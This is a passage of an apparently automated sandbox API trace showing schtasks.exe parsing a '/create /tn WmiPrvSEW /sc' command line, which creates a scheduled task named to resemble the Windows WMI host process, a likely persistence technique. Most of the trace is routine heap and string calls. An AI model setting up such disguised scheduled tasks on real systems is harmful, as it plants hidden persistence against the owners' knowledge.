0xfbb60 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5a80 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5ab0 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5ae0 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5b10 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbb80 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5b40 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5b70 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5ba0 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5bd0 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbba0 [0087.514] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5c00 [0087.515] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5c30 [0087.515] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5c60 [0087.515] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5c90 [0087.515] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0087.515] SetLastError (dwErrCode=0x0) [0087.515] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5cc0 [0087.515] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5cf0 [0087.515] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5d20 [0087.515] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5d50 [0087.515] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5d80 [0087.515] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbbc0 [0087.515] _memicmp (_Buf1=0xfbbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.515] GetProcessHeap () returned 0xe0000 [0087.515] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x208) returned 0xfbd60 [0087.515] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xfbd60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0087.515] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0087.517] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0087.517] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0087.520] GetProcessHeap () returned 0xe0000 [0087.520] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x74e) returned 0xfc330 [0087.520] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0087.520] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0xfc330 | out: lpData=0xfc330) returned 1 [0087.520] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0087.520] VerQueryValueW (in: pBlock=0xfc330, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbf548, puLen=0xbf5b0 | out: lplpBuffer=0xbf548*=0xfc6cc, puLen=0xbf5b0) returned 1 [0087.522] _memicmp (_Buf1=0xfbbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.522] _vsnwprintf (in: _Buffer=0xfbd60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbf528 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0087.523] VerQueryValueW (in: pBlock=0xfc330, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbf5b8, puLen=0xbf5a8 | out: lplpBuffer=0xbf5b8*=0xfc4f8, puLen=0xbf5a8) returned 1 [0087.523] lstrlenW (lpString="schtasks.exe") returned 12 [0087.523] lstrlenW (lpString="schtasks.exe") returned 12 [0087.523] lstrlenW (lpString=".EXE") returned 4 [0087.523] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0087.525] lstrlenW (lpString="schtasks.exe") returned 12 [0087.525] lstrlenW (lpString=".EXE") returned 4 [0087.525] _memicmp (_Buf1=0xfbbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.525] lstrlenW (lpString="schtasks") returned 8 [0087.525] GetProcessHeap () returned 0xe0000 [0087.525] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5e70 [0087.525] GetProcessHeap () returned 0xe0000 [0087.525] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcc40 [0087.525] GetProcessHeap () returned 0xe0000 [0087.525] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcc70 [0087.525] GetProcessHeap () returned 0xe0000 [0087.525] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcca0 [0087.525] GetProcessHeap () returned 0xe0000 [0087.525] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbbe0 [0087.526] _memicmp (_Buf1=0xfbbe0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.526] GetProcessHeap () returned 0xe0000 [0087.526] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xa0) returned 0xfc160 [0087.526] GetProcessHeap () returned 0xe0000 [0087.526] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfccd0 [0087.526] GetProcessHeap () returned 0xe0000 [0087.526] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcd00 [0087.526] GetProcessHeap () returned 0xe0000 [0087.526] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcd30 [0087.526] GetProcessHeap () returned 0xe0000 [0087.526] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbc00 [0087.526] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.526] GetProcessHeap () returned 0xe0000 [0087.526] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x200) returned 0xfd410 [0087.526] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0087.526] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0087.526] GetProcessHeap () returned 0xe0000 [0087.526] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x30) returned 0xf7be0 [0087.526] _vsnwprintf (in: _Buffer=0xfc160, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbf528 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0087.526] GetProcessHeap () returned 0xe0000 [0087.526] GetProcessHeap () returned 0xe0000 [0087.526] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc330) returned 1 [0087.526] GetProcessHeap () returned 0xe0000 [0087.526] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfc330) returned 0x74e [0087.527] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc330 | out: hHeap=0xe0000) returned 1 [0087.528] SetLastError (dwErrCode=0x0) [0087.528] GetThreadLocale () returned 0x409 [0087.528] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.528] lstrlenW (lpString="?") returned 1 [0087.528] GetThreadLocale () returned 0x409 [0087.528] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.528] lstrlenW (lpString="create") returned 6 [0087.528] GetThreadLocale () returned 0x409 [0087.528] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.528] lstrlenW (lpString="delete") returned 6 [0087.528] GetThreadLocale () returned 0x409 [0087.528] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.528] lstrlenW (lpString="query") returned 5 [0087.528] GetThreadLocale () returned 0x409 [0087.528] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.528] lstrlenW (lpString="change") returned 6 [0087.528] GetThreadLocale () returned 0x409 [0087.528] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.528] lstrlenW (lpString="run") returned 3 [0087.528] GetThreadLocale () returned 0x409 [0087.528] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.528] lstrlenW (lpString="end") returned 3 [0087.528] GetThreadLocale () returned 0x409 [0087.528] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.528] lstrlenW (lpString="showsid") returned 7 [0087.528] GetThreadLocale () returned 0x409 [0087.529] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0087.529] SetLastError (dwErrCode=0x0) [0087.529] SetLastError (dwErrCode=0x0) [0087.529] lstrlenW (lpString="/create") returned 7 [0087.529] lstrlenW (lpString="-/") returned 2 [0087.529] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.529] lstrlenW (lpString="?") returned 1 [0087.529] lstrlenW (lpString="?") returned 1 [0087.529] GetProcessHeap () returned 0xe0000 [0087.529] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfc210 [0087.529] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.529] GetProcessHeap () returned 0xe0000 [0087.529] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xa) returned 0xfc330 [0087.529] lstrlenW (lpString="create") returned 6 [0087.529] GetProcessHeap () returned 0xe0000 [0087.529] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfc350 [0087.529] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.529] GetProcessHeap () returned 0xe0000 [0087.529] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x14) returned 0xfc370 [0087.529] _vsnwprintf (in: _Buffer=0xfc330, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|?|") returned 3 [0087.529] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|create|") returned 8 [0087.529] lstrlenW (lpString="|?|") returned 3 [0087.529] lstrlenW (lpString="|create|") returned 8 [0087.529] SetLastError (dwErrCode=0x490) [0087.529] lstrlenW (lpString="create") returned 6 [0087.529] lstrlenW (lpString="create") returned 6 [0087.529] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.529] GetProcessHeap () returned 0xe0000 [0087.529] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc330) returned 1 [0087.529] GetProcessHeap () returned 0xe0000 [0087.529] RtlReAllocateHeap (Heap=0xe0000, Flags=0xc, Ptr=0xfc330, Size=0x14) returned 0xfc390 [0087.529] lstrlenW (lpString="create") returned 6 [0087.530] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.530] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|create|") returned 8 [0087.530] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|create|") returned 8 [0087.530] lstrlenW (lpString="|create|") returned 8 [0087.530] lstrlenW (lpString="|create|") returned 8 [0087.530] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0087.530] SetLastError (dwErrCode=0x0) [0087.530] SetLastError (dwErrCode=0x0) [0087.530] SetLastError (dwErrCode=0x0) [0087.530] lstrlenW (lpString="/tn") returned 3 [0087.530] lstrlenW (lpString="-/") returned 2 [0087.530] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.530] lstrlenW (lpString="?") returned 1 [0087.530] lstrlenW (lpString="?") returned 1 [0087.530] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.530] lstrlenW (lpString="tn") returned 2 [0087.530] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.530] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|?|") returned 3 [0087.530] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tn|") returned 4 [0087.530] lstrlenW (lpString="|?|") returned 3 [0087.530] lstrlenW (lpString="|tn|") returned 4 [0087.530] SetLastError (dwErrCode=0x490) [0087.530] lstrlenW (lpString="create") returned 6 [0087.530] lstrlenW (lpString="create") returned 6 [0087.530] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.530] lstrlenW (lpString="tn") returned 2 [0087.530] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.530] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|create|") returned 8 [0087.530] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tn|") returned 4 [0087.531] lstrlenW (lpString="|create|") returned 8 [0087.531] lstrlenW (lpString="|tn|") returned 4 [0087.531] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0087.531] SetLastError (dwErrCode=0x490) [0087.531] lstrlenW (lpString="delete") returned 6 [0087.531] lstrlenW (lpString="delete") returned 6 [0087.531] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.531] lstrlenW (lpString="tn") returned 2 [0087.531] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.531] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|delete|") returned 8 [0087.531] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tn|") returned 4 [0087.531] lstrlenW (lpString="|delete|") returned 8 [0087.531] lstrlenW (lpString="|tn|") returned 4 [0087.531] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0087.531] SetLastError (dwErrCode=0x490) [0087.531] lstrlenW (lpString="query") returned 5 [0087.531] lstrlenW (lpString="query") returned 5 [0087.531] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.531] lstrlenW (lpString="tn") returned 2 [0087.531] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.531] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|query|") returned 7 [0087.531] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tn|") returned 4 [0087.531] lstrlenW (lpString="|query|") returned 7 [0087.531] lstrlenW (lpString="|tn|") returned 4 [0087.531] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0087.531] SetLastError (dwErrCode=0x490) [0087.531] lstrlenW (lpString="change") returned 6 [0087.531] lstrlenW (lpString="change") returned 6 [0087.531] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.532] lstrlenW (lpString="tn") returned 2 [0087.532] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.532] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|change|") returned 8 [0087.532] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tn|") returned 4 [0087.532] lstrlenW (lpString="|change|") returned 8 [0087.532] lstrlenW (lpString="|tn|") returned 4 [0087.532] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0087.532] SetLastError (dwErrCode=0x490) [0087.532] lstrlenW (lpString="run") returned 3 [0087.532] lstrlenW (lpString="run") returned 3 [0087.532] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.532] lstrlenW (lpString="tn") returned 2 [0087.532] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.532] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|run|") returned 5 [0087.532] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tn|") returned 4 [0087.532] lstrlenW (lpString="|run|") returned 5 [0087.532] lstrlenW (lpString="|tn|") returned 4 [0087.532] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0087.532] SetLastError (dwErrCode=0x490) [0087.532] lstrlenW (lpString="end") returned 3 [0087.532] lstrlenW (lpString="end") returned 3 [0087.532] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.532] lstrlenW (lpString="tn") returned 2 [0087.533] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.533] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|end|") returned 5 [0087.533] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tn|") returned 4 [0087.533] lstrlenW (lpString="|end|") returned 5 [0087.533] lstrlenW (lpString="|tn|") returned 4 [0087.533] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0087.533] SetLastError (dwErrCode=0x490) [0087.533] lstrlenW (lpString="showsid") returned 7 [0087.533] lstrlenW (lpString="showsid") returned 7 [0087.533] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.533] GetProcessHeap () returned 0xe0000 [0087.533] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfc390) returned 1 [0087.533] GetProcessHeap () returned 0xe0000 [0087.533] RtlReAllocateHeap (Heap=0xe0000, Flags=0xc, Ptr=0xfc390, Size=0x16) returned 0xfc390 [0087.533] lstrlenW (lpString="tn") returned 2 [0087.533] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.533] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|showsid|") returned 9 [0087.533] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|tn|") returned 4 [0087.533] lstrlenW (lpString="|showsid|") returned 9 [0087.533] lstrlenW (lpString="|tn|") returned 4 [0087.533] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0087.534] SetLastError (dwErrCode=0x490) [0087.534] SetLastError (dwErrCode=0x490) [0087.534] SetLastError (dwErrCode=0x0) [0087.534] lstrlenW (lpString="/tn") returned 3 [0087.534] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0087.534] SetLastError (dwErrCode=0x490) [0087.534] SetLastError (dwErrCode=0x0) [0087.534] lstrlenW (lpString="/tn") returned 3 [0087.534] GetProcessHeap () returned 0xe0000 [0087.534] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8) returned 0xfc330 [0087.534] GetProcessHeap () returned 0xe0000 [0087.534] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcd60 [0087.534] SetLastError (dwErrCode=0x0) [0087.534] SetLastError (dwErrCode=0x0) [0087.534] lstrlenW (lpString="WmiPrvSEW") returned 9 [0087.534] lstrlenW (lpString="-/") returned 2 [0087.534] StrChrIW (lpStart="-/", wMatch=0x57) returned 0x0 [0087.534] SetLastError (dwErrCode=0x490) [0087.534] SetLastError (dwErrCode=0x490) [0087.534] SetLastError (dwErrCode=0x0) [0087.534] lstrlenW (lpString="WmiPrvSEW") returned 9 [0087.534] StrChrIW (lpStart="WmiPrvSEW", wMatch=0x3a) returned 0x0 [0087.534] SetLastError (dwErrCode=0x490) [0087.534] SetLastError (dwErrCode=0x0) [0087.534] lstrlenW (lpString="WmiPrvSEW") returned 9 [0087.534] GetProcessHeap () returned 0xe0000 [0087.534] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x14) returned 0xfc3c0 [0087.534] GetProcessHeap () returned 0xe0000 [0087.535] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcd90 [0087.535] SetLastError (dwErrCode=0x0) [0087.535] SetLastError (dwErrCode=0x0) [0087.535] lstrlenW (lpString="/sc") returned 3 [0087.535] lstrlenW (lpString="-/") returned 2 [0087.535] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.535] lstrlenW (lpString="?") returned 1 [0087.535] lstrlenW (lpString="?") returned 1 [0087.535] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.535] lstrlenW (lpString="sc") returned 2 [0087.535] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.535] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|?|") returned 3 [0087.535] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|sc|") returned 4 [0087.535] lstrlenW (lpString="|?|") returned 3 [0087.535] lstrlenW (lpString="|sc|") returned 4 [0087.535] SetLastError (dwErrCode=0x490) [0087.535] lstrlenW (lpString="create") returned 6 [0087.535] lstrlenW (lpString="create") returned 6 [0087.535] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.535] lstrlenW (lpString="sc") returned 2 [0087.535] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.535] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|create|") returned 8 [0087.535] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|sc|") returned 4 [0087.536] lstrlenW (lpString="|create|") returned 8 [0087.536] lstrlenW (lpString="|sc|") returned 4 [0087.536] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0087.536] SetLastError (dwErrCode=0x490) [0087.536] lstrlenW (lpString="delete") returned 6 [0087.536] lstrlenW (lpString="delete") returned 6 [0087.536] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.536] lstrlenW (lpString="sc") returned 2 [0087.536] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.536] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|delete|") returned 8 [0087.536] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|sc|") returned 4 [0087.536] lstrlenW (lpString="|delete|") returned 8 [0087.536] lstrlenW (lpString="|sc|") returned 4 [0087.536] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0087.536] SetLastError (dwErrCode=0x490) [0087.536] lstrlenW (lpString="query") returned 5 [0087.536] lstrlenW (lpString="query") returned 5 [0087.536] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.536] lstrlenW (lpString="sc") returned 2 [0087.536] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.536] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|query|") returned 7 [0087.536] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|sc|") returned 4 [0087.536] lstrlenW (lpString="|query|") returned 7 [0087.536] lstrlenW (lpString="|sc|") returned 4 [0087.536] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0087.537] SetLastError (dwErrCode=0x490) [0087.537] lstrlenW (lpString="change") returned 6 [0087.537] lstrlenW (lpString="change") returned 6 [0087.537] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.537] lstrlenW (lpString="sc") returned 2 [0087.537] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.537] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|change|") returned 8 [0087.537] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|sc|") returned 4 [0087.537] lstrlenW (lpString="|change|") returned 8 [0087.537] lstrlenW (lpString="|sc|") returned 4 [0087.537] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0087.537] SetLastError (dwErrCode=0x490) [0087.537] lstrlenW (lpString="run") returned 3 [0087.537] lstrlenW (lpString="run") returned 3 [0087.537] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.537] lstrlenW (lpString="sc") returned 2 [0087.537] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.537] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|run|") returned 5 [0087.537] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|sc|") returned 4 [0087.537] lstrlenW (lpString="|run|") returned 5 [0087.537] lstrlenW (lpString="|sc|") returned 4 [0087.537] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0087.537] SetLastError (dwErrCode=0x490) [0087.537] lstrlenW (lpString="end") returned 3 [0087.537] lstrlenW (lpString="end") returned 3 [0087.537] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.537] lstrlenW (lpString="sc") returned 2 [0087.537] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.537] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf538 | out: _Buffer="|end|") returned 5 [0087.537] _vsnwprintf (in: _Buffer=0xfc370, 